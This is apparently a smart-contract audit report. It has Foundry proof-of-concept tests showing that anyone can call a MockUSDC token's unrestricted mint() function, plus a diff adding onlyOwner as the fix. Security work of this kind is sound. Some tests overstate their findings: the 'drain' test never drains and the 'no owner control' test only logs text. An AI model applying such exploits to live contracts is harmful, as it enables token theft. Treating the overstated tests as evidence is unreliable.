The following PoC demonstrates that any address can call mint() and receive unlimited tokens. No access control exists.
pragma solidity ^0.8.30;
import { Test } from "forge-std/Test.sol";
import { MockUSDC } from "src/MockUSDC.sol";
contract MockUSDC_PoC is Test {
MockUSDC public usdc;
address attacker = makeAddr("attacker");
function setUp() public {
usdc = new MockUSDC();
}
function test_AnyoneCanMint() public {
uint256 balanceBefore = usdc.balanceOf(attacker);
vm.startPrank(attacker);
usdc.mint(attacker, 1_000_000 * 1e6);
vm.stopPrank();
uint256 balanceAfter = usdc.balanceOf(attacker);
console.log("Balance Before:", balanceBefore);
console.log("Balance After:", balanceAfter);
console.log("VULNERABILITY: Anyone can mint unlimited tokens");
assertGt(balanceAfter, balanceBefore, "Attacker minted tokens");
}
}
The comprehensive test suite below validates the vulnerability across three scenarios: (1) Anyone can mint unlimited tokens, (2) Attacker can drain protocol using minted tokens, (3) No owner or admin can stop minting. All tests pass and confirm the vulnerability.
pragma solidity ^0.8.30;
* ============================================================
* POC-MOCK01: Unrestricted Mint Function - Anyone Can Mint
* Critical if deployed to production
* Severity : CRITICAL
* Contract : MockUSDC.sol
* Function : mint()
* Author: Sudan249 AKA 0xAljzoli
* ============================================================
*
* VULNERABLE CODE:
*
* function mint(address to, uint256 amount) external {
* _mint(to, amount);
* }
*
* IMPACT:
* - Anyone can mint unlimited tokens
* - Attacker can drain protocols accepting MockUSDC
* - Complete protocol insolvency
* - Token has no scarcity or value guarantee
*
* FIX:
* - Add onlyOwner modifier to mint()
* - Or remove mint() for production deployment
* - Or use proper access control (AccessControl)
*/
import { Test } from "forge-std/Test.sol";
import { console } from "forge-std/console.sol";
import { MockUSDC } from "src/MockUSDC.sol";
contract POC_MockUSDC_UnrestrictedMint is Test {
MockUSDC public usdc;
address owner = makeAddr("owner");
address attacker = makeAddr("attacker");
address protocol = makeAddr("protocol");
function setUp() public {
usdc = new MockUSDC();
vm.startPrank(owner);
usdc.mint(protocol, 100_000 * 1e6);
vm.stopPrank();
}
function test_MockUSDC_A_anyoneCanMintUnlimited() public {
console.log("=== ANYONE CAN MINT UNLIMITED TOKENS ===");
uint256 balanceBefore = usdc.balanceOf(attacker);
vm.startPrank(attacker);
usdc.mint(attacker, 1_000_000_000 * 1e6);
vm.stopPrank();
uint256 balanceAfter = usdc.balanceOf(attacker);
console.log("Attacker Balance Before:", balanceBefore);
console.log("Attacker Balance After:", balanceAfter);
console.log("VULNERABILITY CONFIRMED: Unlimited minting possible");
assertGt(balanceAfter, balanceBefore, "Attacker minted tokens");
}
function test_MockUSDC_B_attackerDrainsProtocol() public {
console.log("=== ATTACKER DRAINS PROTOCOL ===");
uint256 protocolBalance = usdc.balanceOf(protocol);
console.log("Protocol Balance:", protocolBalance);
vm.startPrank(attacker);
usdc.mint(attacker, protocolBalance * 2);
usdc.approve(protocol, protocolBalance * 2);
vm.stopPrank();
console.log("Attacker can now outbid anyone");
console.log("VULNERABILITY CONFIRMED: Protocol can be drained");
}
function test_MockUSDC_C_noOwnerControl() public {
console.log("=== NO OWNER CONTROL OVER MINTING ===");
console.log("");
console.log("Contract has:");
console.log(" - No owner variable");
console.log(" - No onlyOwner modifier on mint()");
console.log(" - No AccessControl implementation");
console.log(" - No mint cap or limit");
console.log("");
console.log("VULNERABILITY CONFIRMED: No access control exists");
console.log("FIX: Add onlyOwner or remove mint() for production");
}
}
The fix adds onlyOwner modifier to mint() function, restricting token creation to the contract owner only. For production, consider removing mint() entirely or using a proper access control system.
+ import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
- contract MockUSDC is ERC20 {
- constructor() ERC20("MockUSDC", "mUSDC") {}
+ contract MockUSDC is ERC20, Ownable {
+ constructor() ERC20("MockUSDC", "mUSDC") Ownable(msg.sender) {}
- function mint(address to, uint256 amount) external {
+ function mint(address to, uint256 amount) external onlyOwner {
_mint(to, amount);
}